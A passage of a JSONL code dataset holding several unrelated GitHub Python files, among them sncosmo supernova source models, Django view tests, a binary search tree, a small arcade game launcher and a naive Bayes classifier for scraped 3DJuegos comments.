\"\"\"\n def __init__(self, name=None, version=None, minphase=0.1, maxphase=30.,\n tempfunc=(lambda p, x: p[0] * np.exp(p[1]*x)),\n radiusfunc=(lambda p, x: p[0] + p[1] * x),\n tempparam=[6e4, 1.], radiusparam=[5000, 1000]):\n self.name = name\n self.version = version\n self._minphase = minphase\n self._maxphase = maxphase\n\n self._tempfunc = tempfunc\n self._radiusfunc = radiusfunc\n\n self._n_tempparam = len(tempparam)\n self._n_radiusparam = len(radiusparam)\n\n self._parameters = np.array([1e-5])\n self._parameters = np.append(self._parameters, tempparam)\n self._parameters = np.append(self._parameters, radiusparam)\n\n self._param_names = ['d']\n self.param_names_latex = ['d']\n\n for k in range(self._n_tempparam):\n self._param_names.append('T%i'%k)\n self.param_names_latex.append('T_%i'%k)\n\n for k in range(self._n_radiusparam):\n self._param_names.append('R%i'%k)\n self.param_names_latex.append('R_%i'%k)\n\n def minwave(self): \n return 1e2\n\n def maxwave(self): \n return 1e6\n \n def minphase(self):\n return self._minphase\n\n def maxphase(self):\n return self._maxphase\n\n def temperature(self, phase):\n param = self._parameters[1:self._n_tempparam+1]\n T = self._tempfunc(param, phase)\n try:\n T[(T < 1.)] = 1.\n except TypeError:\n if T < 1.:\n return 1.\n return T\n \n def radius(self, phase):\n param = self._parameters[self._n_tempparam+1:\n self._n_tempparam+self._n_radiusparam+1]\n R = self._radiusfunc(param, phase)\n try:\n R[(phase < self.minphase())\n | (phase > self.maxphase()) | (R < 0.)] = 0.\n except TypeError:\n if phase < self.minphase() or phase > self.maxphase() or R < 0.:\n return 0.\n return R\n \n def luminosity(self, phase):\n return (0.5670367 * self.temperature(phase)**4\n * 4 * np.pi * (self.radius(phase)*6.957e8) **2)\n \n def _flux(self, phase, wave):\n wave = np.array(wave)\n out = [np.pi*blackbody(wave, T=self.temperature(p_))\n * (self.radius(p_)/self._parameters[0]*2.25459e-14)**2 \n for p_ in phase]\n \n return np.array(out)\n\nclass AngularTimeSeriesSource(sncosmo.Source):\n \"\"\"A single-component spectral time series model.\n The spectral flux density of this model is given by\n .. math::\n F(t, \\lambda) = A \\\\times M(t, \\lambda, \\cos_\\theta)\n where _M_ is the flux defined on a grid in phase and wavelength\n and _A_ (amplitude) is the single free parameter of the model. The\n amplitude _A_ is a simple unitless scaling factor applied to\n whatever flux values are used to initialize the\n ``TimeSeriesSource``. Therefore, the _A_ parameter has no\n intrinsic meaning. It can only be interpreted in conjunction with\n the model values. Thus, it is meaningless to compare the _A_\n parameter between two different ``TimeSeriesSource`` instances with\n different model data.\n Parameters\n ----------\n phase : `~numpy.ndarray`\n Phases in days.\n wave : `~numpy.ndarray`\n Wavelengths in Angstroms.\n flux : `~numpy.ndarray`\n Model spectral flux density in arbitrary units.\n Must have shape `(num_phases)`.\n zero_before : bool, optional\n If True, flux at phases before minimum phase will be zeroed. The\n default is False, in which case the flux at such phases will be equal\n to the flux at the minimum phase (``flux[0, :]`` in the input array).\n zero_after : bool, optional\n If True, flux at phases after minimum phase will be zeroed. The\n default is False, in which case the flux at such phases will be equal\n to the flux at the maximum phase (``flux[-1, :]`` in the input array).\n cos_theta : `~numpy.ndarray`\n cosine of viewing angle\n name : str, optional\n Name of the model. Default is `None`.\n version : str, optional\n Version of the model. Default is `None`.\n \"\"\"\n\n _param_names = ['amplitude', 'theta']\n param_names_latex = ['A', r'\\theta']\n\n def __init__(self, phase, wave, cos_theta, flux, zero_before=False, zero_after=False, name=None,\n version=None):\n self.name = name\n self.version = version\n self._phase = phase\n self._wave = wave\n self._cos_theta = cos_theta\n self._flux_array = flux\n self._parameters = np.array([1., 0.])\n self._current_theta = 0.\n self._zero_before = zero_before\n self._zero_after = zero_after\n self._set_theta()\n\n def _set_theta(self):\n logflux_ = np.zeros(self._flux_array.shape[:2])\n for k in range(len(self._phase)):\n adding = 1e-10 # Here we add 1e-10 to avoid problems with null values\n f_tmp = Spline2d(self._wave, self._cos_theta, np.log(self._flux_array[k]+adding),\n kx=1, ky=1)\n logflux_[k] = f_tmp(self._wave, np.cos(self._parameters[1]*np.pi/180)).T\n\n self._model_flux = Spline2d(self._phase, self._wave, logflux_, kx=1, ky=1)\n\n\n self._current_theta = self._parameters[1]\n\n def _flux(self, phase, wave):\n if self._current_theta != self._parameters[1]:\n self._set_theta()\n f = self._parameters[0] * (np.exp(self._model_flux(phase, wave)))\n if self._zero_before:\n mask = np.atleast_1d(phase) < self.minphase()\n f[mask, :] = 0.\n if self._zero_after:\n mask = np.atleast_1d(phase) > self.maxphase()\n f[mask, :] = 0.\n return f\n\n \nclass SpectralIndexSource(sncosmo.Source):\n \"\"\"\n \"\"\"\n def __init__(self, minphase=0.1, maxphase=30,\n fluxfunc=(lambda p, t: t ** (-0.4 * p[0])),\n specfunc=(lambda p, t: p[0]),\n fluxparam=[1.], specparam=[1.],\n name=None, version=None):\n self.name = name\n self.version = version\n\n self._minphase = minphase\n self._maxphase = maxphase\n\n self._fluxfunc = fluxfunc\n self._specfunc = specfunc\n\n self._n_fluxparam = len(fluxparam)\n self._n_specparam = len(specparam)\n\n self._parameters = np.array([1.])\n self._parameters = np.append(self._parameters, fluxparam)\n self._parameters = np.append(self._parameters, specparam)\n\n self._param_names = ['amplitude']\n self.param_names_latex = ['A']\n\n for k in range(self._n_fluxparam):\n self._param_names.append('f%i'%k)\n self.param_names_latex.append('f_%i'%k)\n\n for k in range(self._n_specparam):\n self._param_names.append('a%i'%k)\n self.param_names_latex.append('\\alpha_%i'%k)\n\n\n def minwave(self): \n return 1e-100\n\n def maxwave(self): \n return 1e100\n \n def minphase(self):\n return self._minphase\n\n def maxphase(self):\n return self._maxphase\n\n def _flux(self, phase, wave):\n wave = np.array(wave)\n fluxparam = self._parameters[1:self._n_fluxparam+1]\n specparam = self._parameters[self._n_fluxparam+1:\n self._n_fluxparam+self._n_specparam+1]\n return np.array([((self._parameters[0]\n * self._fluxfunc(fluxparam, phase)\n * wave ** self._specfunc(specparam, phase))\n if p_ >= self.minphase and p_ <= self.maxphase\n else np.zeros(wave.shape))\n for p_ in phase])\n\n#######################################\n# #\n# Auxilary functions #\n# #\n#######################################\ndef blackbody(wl, T=6e3):\n # wl in Ångströms\n # T in Kelvin\n # R in solar radii\n # d in Mpc\n # output in erg s^-1 cm^-2 Angstrom^-1\n return 1.19104295262e+27 * wl**-5 / (np.exp(1.43877735383e+8 / (wl*T)) - 1)\n \n","repo_name":"ZwickyTransientFacility/simsurvey","sub_path":"simsurvey/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":14866,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"37"} +{"seq_id":"36088155805","text":"from django.test import TestCase\nfrom django.core.urlresolvers import reverse\n\nfrom mock import patch\nfrom expecter import expect\n\nfrom django_outbox.outbox import Outbox, Mail\n\n\nclass OutboxTemplateViewTest(TestCase):\n mails = (\n Mail('20101010', 'Foo', 'foo@example.com', 'baz@example.com', \n 'Sat, 26 Oct 2013 17:15:32 -0000', 'text/plain',\n {'text/plain': 'Foo content'}), \n Mail('20101010', 'Bar', 'bar@example.com', 'baz@example.com', \n 'Sat, 26 Oct 2013 17:15:32 -0000', 'text/plain',\n {'text/plain': 'Foo content'}))\n\n @patch('django_outbox.views.Outbox', spec=Outbox)\n def test_get(self, outbox_class):\n outbox_class.return_value.all.return_value = self.mails\n response = self.client.get(self._reverse())\n\n expect(response.status_code) == 200\n expect(response.context['mails']) == self.mails\n\n def _reverse(self):\n return reverse('outbox')\n\n\nclass EmailTemplateViewTest(TestCase):\n id = '20101010'\n html_content = 'Example'\n text_content = 'Foo content'\n mail = Mail(id, 'Foo', 'foo@example.com', 'baz@example.com', \n 'Sat, 26 Oct 2013 17:15:32 -0000', \n 'multipart/alternative',\n {'text/plain': text_content, 'text/html': html_content})\n\n @patch('django_outbox.views.Outbox', spec=Outbox)\n def test_get_text_plain(self, outbox_class):\n outbox_class.return_value.get.return_value = self.mail\n\n response = self.client.get(\n self._reverse(), \n {'content_type': 'text/plain'})\n\n expect(response.status_code) == 200\n expect(response.context['mail']) == self.mail\n self.assertContains(response, self.text_content)\n\n @patch('django_outbox.views.Outbox', spec=Outbox)\n def test_get_text_html(self, outbox_class):\n outbox_class.return_value.get.return_value = self.mail\n\n response = self.client.get(\n self._reverse(), \n {'content_type': 'text/html'})\n\n expect(response.status_code) == 200\n self.assertContains(response, self.html_content)\n\n def _reverse(self):\n return reverse('mail', kwargs=dict(id=self.id))\n","repo_name":"poiati/django-outbox","sub_path":"tests/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"37"} +{"seq_id":"42140386967","text":"import sys\ninput = sys.stdin.readline\n\nN = int(input())\n# 이전 계단을 밟은 경우, 이전 계단을 밟지 않은 경우\nstairs = [int(input()) for _ in range(N)]\n\nif N == 1:\n print(stairs[0])\n \nelse:\n dp = [[0,0] for _ in range(N)]\n\n dp[0][0] = stairs[0]\n dp[0][1] = stairs[0]\n dp[1][0] = stairs[1] + stairs[0]\n dp[1][1] = stairs[1]\n\n for step in range(2, N):\n dp[step][0] = dp[step - 1][1] + stairs[step]\n dp[step][1] = max(dp[step - 2]) + stairs[step]\n\n print(max(dp[-1]))","repo_name":"W1nU/algorithm","sub_path":"repeat/2579.py","file_name":"2579.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25567089683","text":"from __init__ import *\nfrom entropy import *\n\noptions = default_options()\nparams = config[name(__file__)]\n\noptions['xlabel'] = label['epsilon']\noptions['ylabel'] = label['I']\n\noptions['ymax'] = 1.\noptions['set'].append('logscale x')\noptions['set'].append('format x \"\"') #\"10^{%T}\"')\n\noptions['set'].append('key title \"{} value\"'.format(label['palpha']))\noptions['set'].append('key opaque font \",18\"')\noptions['set'].append('key right top')\n\n\nplots = [\n\n {'mu': params['mu'], 'xmin': 0.01, 'xmax': 100}\n\n]\n\ncurves = []\n\nfor index, plot in enumerate(plots, start=1):\n\n # I vs. ε\n\n options['title'] = PLOT_LETTER.format('B') + title['I_E']\n if logger.level == logging.DEBUG:\n options['title'] += \" ({} = {})\".format(label['mu'], plot['mu'])\n\n partition = 5.\n epsilon1 = np.logspace(math.log10(plot['xmin']), math.log10(partition + 1), 15)\n epsilon2 = np.logspace(math.log10(partition), math.log10(plot['xmax'] + 1), 8)\n # epsilon3 = np.logspace(math.log10(100), math.log10(1000), 10)[:-1]\n epsilon = np.concatenate((epsilon1, epsilon2)) #, epsilon3))\n\n y = {}\n for palpha in params['palpha']:\n y[palpha] = [I_external(e, palpha, plot['mu']/palpha, method='maple-async', backup_method='sympy-parallel') for e in epsilon]\n for palpha in params['palpha']:\n curves.append((\n epsilon,\n np.array([val.get() if isinstance(val, pool.AsyncResult) else val for val in y[palpha]]),\n {'legend': palpha}\n ))\n\n marks = config['fig_entropy_vs_mu']['epsilon']\n options['set'].append('xtics add (\\\n \"{/Helvetica-Bold: 0.01}\" 0.01,\\\n \"0.1\" 0.1,\\\n \"1\" 1,\\\n \"{/Helvetica-Bold: 2}\" 2,\\\n \"{/Helvetica-Bold: 10}\" 10,\\\n \"100\" 100,\\\n )')\n\n output(curves, options, '{}_{}_mu_{}', name(__file__), index, plot['mu'])\n","repo_name":"amphybio/stochastic-gene-expression","sub_path":"entropy2020/src/fig_information_vs_epsilon.py","file_name":"fig_information_vs_epsilon.py","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10875851053","text":"import arcade\n\nfrom GameView import GameView\nfrom Level import Level\n\nDEFAULT_SCREEN_WIDTH = 1100\nDEFAULT_SCREEN_HEIGHT = 600\n\nSCREEN_TITLE = \"Sprite Move with Scrolling Screen Example\"\n\n\nclass MyGame(arcade.Window):\n \"\"\" Main application class. \"\"\"\n\n BOTTOM_OFFSET = 200\n SIDE_OFFSET = 200\n\n def __init__(self, width, height, title):\n \"\"\"\n Initializer\n \"\"\"\n super().__init__(width, height, title, resizable=True, fullscreen=True)\n self.TOP_OFFSET = self.height - 300\n\n\ndef main():\n \"\"\" Main function \"\"\"\n window = MyGame(DEFAULT_SCREEN_WIDTH, DEFAULT_SCREEN_HEIGHT, SCREEN_TITLE)\n level = Level(16, 17, window)\n start_view = GameView(window, level)\n start_view.setup()\n window.show_view(start_view)\n\n arcade.run()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Alobal123/DiggingGame","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11004188260","text":"import sys\nimport math\nn = int(sys.stdin.readline())\n\ndef solve(n):\n if math.sqrt(n).is_integer():\n return 1\n\n s = {i**2 for i in range(1, int(math.sqrt(n)) + 1)}\n\n for a in s:\n if n - a in s:\n return 2\n\n for a in s:\n for b in s:\n if n - a - b in s:\n return 3\n return 4\n\nprint(solve(n))","repo_name":"rladygks329/algorithm","sub_path":"baekjoon/17626.py","file_name":"17626.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7379356766","text":"from django.urls import path\nfrom . import views\n\napp_name=\"accounts\"\n\nurlpatterns = [\n path('', views.list,name=\"list\"),\n path('create/', views.create,name=\"create\"),\n path('update/', views.update,name=\"update\"),\n path('logout/', views.logout,name=\"logout\"),\n path('login/', views.login,name=\"login\"),\n path('/delete/', views.user_delete,name=\"delete\"),\n path('detail/', views.detail,name=\"detail\"),\n]\n","repo_name":"hyunsang-ahn/hodoo","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24360320871","text":"n=int(input())\na=list(map(int,input().split()))\nc=[]\nco=0\nfor i in a:\n if i not in c:\n c.append(i)\nfor j in c:\n for k in a:\n if(j==k):\n co=co+1\n if(co==1):\n print(j)\n co=0\n","repo_name":"balajimanikandanm/python3","sub_path":"Twice.py","file_name":"Twice.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16219458036","text":"class node():\r\n\r\n def __init__(self, key, value, left=None, right=None, parent=None):\r\n self.key = key\r\n self.value = value\r\n self.left = left\r\n self.right = right\r\n self.parent = parent\r\n\r\n def isLeaf(self):\r\n return not (self.left and self.right)\r\n\r\n def isRoot(self):\r\n return not self.parent\r\n\r\n def hasLeft(self):\r\n return self.left\r\n\r\n def hasRight(self):\r\n return self.right\r\n\r\n def isRight(self):\r\n return self.parent.right == self\r\n\r\n def isLeft(self):\r\n return self.parent.left == self\r\n\r\n def hasBothChildren(self):\r\n return self.left and self.right\r\n\r\n def hasOneChild(self):\r\n return (self.left and not self.right) or (not self.left and self.right)\r\n\r\n def replaceNode(self, key, val, lc, rc):\r\n self.key = key\r\n self.value = val\r\n self.left = lc\r\n self.right = rc\r\n\r\n if self.hasLeft():\r\n self.left.parent = self\r\n if self.hasRight():\r\n self.right.parent = self\r\n def findSuccessor(self):\r\n succ = None\r\n if self.hasRight():\r\n succ = self.right.findMin()\r\n else:\r\n if self.parent:\r\n if self.isleft():\r\n succ = self.parent\r\n\r\n\r\n def findMin(self):\r\n current = self\r\n while current.hasLeft():\r\n current = current.left\r\n return current\r\n\r\n def splice():\r\n pass\r\n\r\n\r\n\r\nclass Tree():\r\n\r\n def __init__(self):\r\n self.root = None\r\n self.size = 0\r\n\r\n def __iter__(self):\r\n return self.root.__iter__(self)\r\n\r\n def __len__(self):\r\n return self.size\r\n\r\n def length(self):\r\n return self.size\r\n\r\n def put(self, key, value):\r\n if self.root:\r\n self._put(key, value, self.root)\r\n else:\r\n self.root = node(key, value)\r\n\r\n self.size += 1\r\n\r\n def _put(self, key, value, current):\r\n if key < current.key:\r\n if current.hasLeft():\r\n self._put(key, value, current.left)\r\n else:\r\n current.left = node(key, value, parent=current)\r\n elif key > current.key:\r\n if current.hasRight():\r\n self._put(key, value, current.right)\r\n else:\r\n current.right = node(key, value, parent=current)\r\n elif key == current.key:\r\n current.replaceNode(key, value, current.left, current.right)\r\n else:\r\n return KeyError(\"key is not correct data type\")\r\n\r\n def __setitem__(self, k, v):\r\n self.put(k, v)\r\n\r\n def get(self, key):\r\n if self.root:\r\n foundNode = self._get(key, self.root)\r\n if foundNode:\r\n return foundNode.value\r\n else:\r\n return None\r\n else:\r\n return None\r\n\r\n def _get(self, key, current):\r\n if current:\r\n if key == current.key:\r\n return current\r\n elif key < current.key:\r\n return self._get(key, current.left)\r\n elif key > current.key:\r\n return self._get(key, current.right)\r\n else:\r\n return None\r\n\r\n def __getitem__(self, key):\r\n return self.get(key)\r\n\r\n def __contains__(self, key):\r\n if self._get(key, self.root):\r\n return True\r\n else:\r\n return False\r\n\r\n def delete(self, key):\r\n if self.size > 1: # Conditions if it's more than 1 root node\r\n node = self._get(key, self.root) # Search for Node 2 Del\r\n if node: # Condition if found\r\n self.remove(node) # Call a removal function\r\n self.size -= 1 # Decrease the size\r\n else:\r\n return KeyError('key not found') # Return error\r\n elif self.size == 1 and self.root.key == key: # One Node\r\n self.root = None # Get rid of it\r\n else:\r\n return KeyError('Error: key not found in tree')\r\n\r\n def remove(self, node): # Removal Function\r\n if node.isLeaf(): # Condition on if it's a leaf\r\n if node.isLeft(): # Condition if it's left child\r\n node.parent.left = None # Get rid of link to parent\r\n elif node.isRight():\r\n node.parent.right = None\r\n node = None # Make the node disappear\r\n elif node.hasOneChild(): # Condition for one child\r\n if node.hasLeft(): # Has left child\r\n if node.isLeft(): # Is left child, connect to parent\r\n node.left.parent = node.parent\r\n node.parent.left = node.left\r\n elif node.isRight(): # Is right child, connect to p.\r\n node.left.parent = node.parent\r\n node.parent.right = node.left\r\n else: # No parent, means it's the root, replace\r\n self.root.replaceNode(node.left.key,\r\n node.left.value,\r\n node.left.left,\r\n node.left.right)\r\n elif node.hasRight(): # Same, but for a right child\r\n if node.isLeft():\r\n node.right.parent = node.parent\r\n node.parent.left = node.right\r\n elif node.isRight():\r\n node.right.parent = node.parent\r\n node.parent.right = node.right\r\n elif node.hasBothChildren():\r\n succ = node.findSuccessor() # Find the node to replace\r\n succ.splice() # Remove the node\r\n node.key = succ.key\r\n node.value = succ.value # Assign the successor values\r\n","repo_name":"JoshZastrow/algorithms-data-structures","sub_path":"Data Structures/Binary Search Tree/Binary Search Tree 4.py","file_name":"Binary Search Tree 4.py","file_ext":"py","file_size_in_byte":5785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1261842163","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n3Djuegos NAIVE-BAYES\n\"\"\"\nimport re\nimport os\nimport copy\nimport requests\nfrom bs4 import BeautifulSoup\nimport json\nimport pprint\nimport tkinter as tk\n\n# *** Global variables ***\nis3djuegos = r\"^https?://(www\\.)?3djuegos\\.com/\"\npattern_lines = \"xxlf\" # pattern to distinguish lines\n\n# Pathing files\ncurrent_script_path = os.path.dirname(os.path.abspath(__file__))\npath_file = os.path.join(current_script_path, \"files\", \"comments.txt\")\n\nactual_coment = \"PREDEF\"\ncomentarios = []\n\ntotal_p = 0 # total positive comments\ntotal_n = 0 # total de negatives comments\ntotal_neu = 0 # total de neutral comments\ntotal_cometarios = 0 # total number of comments\n\n#*** Vocabs ***\np_vocab = {}\nneu_vocab = {}\nn_vocab = {}\n\nres = [0,0,0] # positives, neutrals, negatives in the test link\n\ndef loadComments(p_url):\n url = p_url\n \n response = requests.get(url)\n \n soup = BeautifulSoup(response.content, \"html.parser\")\n \n tag = 'script'\n \n tag_array = soup.find_all(tag)\n if os.path.exists(path_file):\n os.remove(path_file)\n \n regex = r'\"content\":\"([^\"]*)\"'\n regex_llaves = r\"(\\{[^{}]*\\})\" # regex para encontrar todas las cadenas entre llaves\n \n with open(path_file, \"w\", encoding=\"utf-8\") as file:\n for i in tag_array:\n content_tag = i.get_text()\n start_end_json = (170,-288) # TODO: es muy cutre parsear los JSON asi, tengo que arreglarlo\n if \"AML.Comments\" in content_tag:\n parsed = content_tag[start_end_json[0]:start_end_json[1]]\n json_items = re.findall(regex_llaves, parsed)\n json_objects = []\n for j in json_items:\n json_objects.append(json.loads(j))\n comentarios = []\n for o in json_objects:\n if o[\"tree_level\"] == \"0\":\n comentarios.append(o[\"content\"])\n #pprint.pprint(o) printea los obbjetos json con formato\n for i, text in enumerate(comentarios):\n file.write(pattern_lines + text + \"\\n\")\n # Comments written in comments.txt\n\ndef readComments():\n coments = []\n with open(path_file, \"r\", encoding=\"utf-8\") as file:\n coment = \"NO MORE COMMENTS\\n\"\n for line in file:\n if re.search(pattern_lines, line):\n coments.append(re.sub(pattern_lines, \"\", coment))\n coment = \"\"\n coment += line\n coments.append(re.sub(pattern_lines, \"\", coment))\n return coments\n\ndef normaliza(com):\n # Basic text normalization\n clean_text = re.sub(r'[^\\w\\s]','',com) # Remove puntuation signs\n return clean_text.lower().split(\" \") # Change the text to lower case and divides by \" \"\n\ndef naivebayes(comentario):\n global p_vocab, n_vocab, neu_vocab\n global total_p, total_n, total_neu, total_comentarios\n local_pv = copy.deepcopy(p_vocab)\n local_nv = copy.deepcopy(n_vocab)\n local_neuv = copy.deepcopy(neu_vocab)\n # kind of fix in order to make NAIVE BAYES work when a non explored word is found in a query (Because we dont use a fixed vocabulary) \n # if there is a word non explored in any vocab (neutral, positive or negative)\n # adds 1 to all the words and 1 to the new non explored word (it is a kind of add-1)\n clean_com = normaliza(comentario)\n for p in clean_com:\n if not p in local_pv.keys():\n local_pv[p] = 0\n local_pv = {k: v + 1 for k, v in local_pv.items()}\n \n if not p in local_nv.keys():\n local_nv[p] = 0\n local_nv = {k: v + 1 for k, v in local_nv.items()}\n \n if not p in local_neuv.keys():\n local_neuv[p] = 0\n local_neuv = {k: v + 1 for k, v in local_neuv.items()}\n \n \n start_probs = [total_p / total_comentarios, total_neu / total_comentarios, total_n / total_comentarios]\n total_ocurs = [sum(local_pv.values()), sum(local_neuv.values()), sum(local_nv.values())]\n end_probs = []\n \n for i, sp in enumerate(start_probs):\n prob = sp\n for word in clean_com:\n prob *= (local_pv[word]/total_ocurs[i])\n end_probs.append(prob)\n \n max_p = max(end_probs)\n if max_p == 0: # Comments with no words trained are classified as NEUTRALS\n return \"NEU\"\n \n maxim_prob = end_probs.index(max_p)\n \n if maxim_prob == 0:\n return \"POS\"\n elif maxim_prob == 1:\n return \"NEU\"\n elif maxim_prob == 2:\n return \"NEG\"\n return \"ERROR\"\n\ndef addwords(comentario, vocab):\n clean_text = normaliza(comentario)\n \n for word in clean_text:\n vocab[word] = 1 if not word in vocab.keys() else vocab[word] + 1\n \nif __name__=='__main__':\n \n def write_comment():\n global comentarios\n actual_coment = comentarios.pop() if len(comentarios) > 1 else comentarios[0]\n \n text_block.configure(state=tk.NORMAL)\n text_block.delete(\"1.0\", tk.END)\n text_block.insert(tk.END, actual_coment)\n text_block.configure(state=\"disabled\")\n \n def on_positive():\n global total_p\n addwords(actual_coment, p_vocab)\n total_p += 1 # 1 more positive comment ++\n write_comment()\n \n def on_neutral():\n global total_neu\n addwords(actual_coment, neu_vocab)\n total_neu += 1\n write_comment()\n \n def on_negative():\n global total_n\n addwords(actual_coment, n_vocab)\n total_n += 1\n write_comment()\n \n def loadintrotrain():\n endtrain_frame.pack_forget()\n url_text.delete(\"1.0\", tk.END)\n introtrain_frame.pack()\n \n def gotrain():\n global comentarios # accedemos a la variable global comentarios\n input_url = url_text.get(\"1.0\", \"end-1c\").strip()\n if re.match(is3djuegos, input_url):\n loadComments(input_url)\n comentarios = readComments()\n introtrain_frame.pack_forget()\n train_frame.pack()\n write_comment()\n else:\n url_text.delete(\"1.0\", tk.END)\n url_text.insert(tk.END, \"No es un link a una noticia de 3djuegos\")\n \n def end_train(): # Aqui se decide si hacer otro entrenamiento con otra noticia o si pasar a la fase de test\n train_frame.pack_forget()\n endtrain_frame.pack()\n \n def gotest():\n global total_comentarios\n endtrain_frame.pack_forget()\n test_frame.pack()\n total_comentarios = total_p + total_n + total_neu\n\n def test():\n global comentarios, res\n urltest = urltest_text.get(\"1.0\", \"end-1c\").strip()\n if re.match(is3djuegos, urltest):\n loadComments(urltest)\n comentarios = readComments()\n \n for c in comentarios[1:]:\n if naivebayes(c) == \"POS\":\n res[0] += 1\n elif naivebayes(c) == \"NEU\":\n res[1] += 1\n elif naivebayes(c) == \"NEG\":\n res[2] += 1\n \n test_frame.pack_forget()\n \n list_labels = [\"Nº Positives comments predicted = \", \"Nº Neutral comments predicted = \", \"Nº Negatives comments predicted = \"]\n for i,label in enumerate(list_labels):\n l_label = tk.Label(results_frame, text = label + str(res[i]), bg=\"#F5C043\")\n l_label.place(x = 20)\n l_label.pack()\n conc_text =\"The prediction has been: \"\n conclusion_label = tk.Label(results_frame, text = \"\", font = (\"Courier\", 14), bg=\"#F5C043\") \n final_predic = res.index(max(res))\n if final_predic == 0:\n conclusion_label.config(text = conc_text + \"POSITIVE\")\n elif final_predic == 1:\n conclusion_label.config(text = conc_text + \"NEUTRAL\")\n elif final_predic == 2:\n conclusion_label.config(text = conc_text + \"NEGATIVE\")\n conclusion_label.pack()\n \n results_frame.pack()\n else:\n url_text.delete(\"1.0\", tk.END)\n url_text.insert(tk.END, \"Not a link of a 3djuegos's news\")\n \n \n #GUI\n root = tk.Tk()\n root.title(\"3djuegos -> Review Comments\")\n root.iconbitmap(os.path.join(current_script_path, \"icons\", \"3djuegos.ico\"))\n \n # intro train frame\n introtrain_frame = tk.Frame(root)\n introtrain_frame.configure(bg=\"#F5C043\")\n introtrain_frame.pack()\n introtrain_label = tk.Label(introtrain_frame, text = \"Insert 3dJuegos news link\", font =(\"Courier\", 14), bg=\"#F5C043\")\n introtrain_label.pack()\n url_text = tk.Text(introtrain_frame, width=70, height=8, bg = \"#EAEB28\")\n url_text.pack()\n buttonto_train = tk.Button(introtrain_frame, text=\"Train\", bg=\"#53F484\", command=gotrain)\n buttonto_train.pack(padx=5, side=tk.RIGHT)\n \n # train frame\n train_frame = tk.Frame(root)\n train_frame.configure(bg=\"#F5C043\")\n train_label = tk.Label(train_frame, text = \"Review Comments\", font =(\"Courier\", 14), bg=\"#F5C043\")\n train_label.pack()\n \n text_block = tk.Text(train_frame, bg = \"#EAEB28\")\n text_block.pack(fill=tk.BOTH, expand=True)\n \n #Botones\n button_frame = tk.Frame(train_frame)\n button_frame.configure(bg=\"#F5C043\")\n button_frame.pack(pady=10)\n \n positive_button = tk.Button(button_frame, text=\"Positive\", bg=\"green\", command=on_positive)\n positive_button.pack(side=tk.LEFT, padx=5)\n \n neutral_button = tk.Button(button_frame, text=\"Neutral\", bg=\"gray\", command=on_neutral)\n neutral_button.pack(side=tk.LEFT, padx=5)\n \n negative_button = tk.Button(button_frame, text=\"Negative\", bg=\"red\", command=on_negative)\n negative_button.pack(side=tk.LEFT, padx=5)\n \n end_button = tk.Button(button_frame, text=\"End train phase\", bg=\"#ADD8E6\", command=end_train)\n end_button.pack(pady=10, anchor=tk.CENTER, padx=5)\n \n # Endtrain frame\n endtrain_frame = tk.Frame(root)\n endtrain_frame.configure(bg=\"#F5C043\")\n button_train = tk.Button(endtrain_frame, text=\"Train with other news\", bg=\"#1B6FDE\", command=loadintrotrain, width=30, height=8, font =(\"Courier\", 14))\n button_train.grid(row=0, column=0, padx=10, pady=5)\n button_train2 = tk.Button(endtrain_frame, text=\"Test phase\", bg=\"#57DE47\", command=gotest, width=30, height=8, font =(\"Courier\", 14))\n button_train2.grid(row=0, column=1, padx=10, pady=5)\n\n # Test frame \n \n test_frame = tk.Frame(root)\n test_frame.configure(bg=\"#F5C043\")\n test_label = tk.Label(test_frame, text = \"Insert 3dJuegos link to test\", font =(\"Courier\", 14), bg=\"#F5C043\")\n test_label.pack()\n urltest_text = tk.Text(test_frame, width=60, height=5, bg = \"#EAEB28\")\n urltest_text.pack()\n button_test = tk.Button(test_frame, text=\"Test!\", bg=\"#53F484\", command=test)\n button_test.pack(padx=5, side=tk.RIGHT)\n \n # Results frame\n results_frame = tk.Frame(root)\n results_frame.configure(bg=\"#F5C043\")\n results_title = tk.Label(results_frame, text = \"Final Results\", font = (\"Courier\", 12), bg=\"#F5C043\")\n results_title.pack()\n\n root.mainloop()\n ","repo_name":"pkq403/3dJuegos-Naive-Bayes-Classifier","sub_path":"extract_comments_from_3djuegos.py","file_name":"extract_comments_from_3djuegos.py","file_ext":"py","file_size_in_byte":11223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34834293164","text":"import torch\r\nimport torch.utils.data as data\r\nfrom torch.autograd import Variable as V\r\nimport PIL.Image as Image\r\n\r\nimport cv2\r\nimport numpy as np\r\nimport os\r\nimport scipy.misc as misc\r\n\r\ndef randomHueSaturationValue(image, hue_shift_limit=(-180, 180),\r\n sat_shift_limit=(-255, 255),\r\n val_shift_limit=(-255, 255), u=0.5):\r\n if np.random.random() < u:\r\n image = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\r\n h, s, v = cv2.split(image)\r\n hue_shift = np.random.randint(hue_shift_limit[0], hue_shift_limit[1]+1)\r\n hue_shift = np.uint8(hue_shift)\r\n h += hue_shift\r\n sat_shift = np.random.uniform(sat_shift_limit[0], sat_shift_limit[1])\r\n s = cv2.add(s, sat_shift)\r\n val_shift = 